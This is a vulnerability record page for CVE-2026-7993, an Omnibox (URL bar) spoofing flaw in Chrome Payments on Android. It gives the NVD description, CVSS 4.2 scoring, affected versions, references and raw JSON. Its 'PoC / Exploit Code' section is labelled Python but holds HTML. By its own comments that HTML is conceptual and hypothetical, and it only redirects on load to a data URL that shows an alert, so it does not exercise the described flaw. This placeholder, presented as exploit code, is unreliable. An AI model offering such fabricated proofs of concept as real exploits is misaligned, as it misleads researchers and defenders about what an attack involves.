CVE-2026-7993

Description

Insufficient validation of untrusted input in Payments in Google Chrome on Android prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Conceptual PoC for CVE-2026-7993 -->
<!-- This HTML demonstrates the structure that might trigger the UI spoofing -->
<!DOCTYPE html>
<html>
<head>
    <title>Payment Spoof Demo</title>
    <style>
        body { font-family: sans-serif; text-align: center; padding: 50px; }
        .spoof-container { display: none; } /* Hidden logic for exploit */
    </style>
</head>
<body>
    <h1>Processing Payment...</h1>
    <p>Please wait while we verify your transaction.</p>
    
    <!-- Malicious script targeting the renderer process flaw -->
    <script>
        // Simulation of the exploit trigger
        function triggerSpoof() {
            // In a real scenario, this would interact with the Payment Request API
            // or a specific DOM element to corrupt the Omnibox rendering.
            console.log("Attempting to spoof Omnibox...");
            
            // Hypothetical vulnerability trigger
            window.location.href = "data:text/html,<script>alert('Omnibox Spoofed')</script>";
        }
        
        // Auto-trigger on load or user interaction
        window.onload = triggerSpoof;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7993
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7993
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7993/
[4] VulDB https://vuldb.com/cve/CVE-2026-7993
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/499099003

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7993", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:50.177", "lastModified": "2026-05-06T23:19:28.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Payments in Google Chrome on Android prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/499099003", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}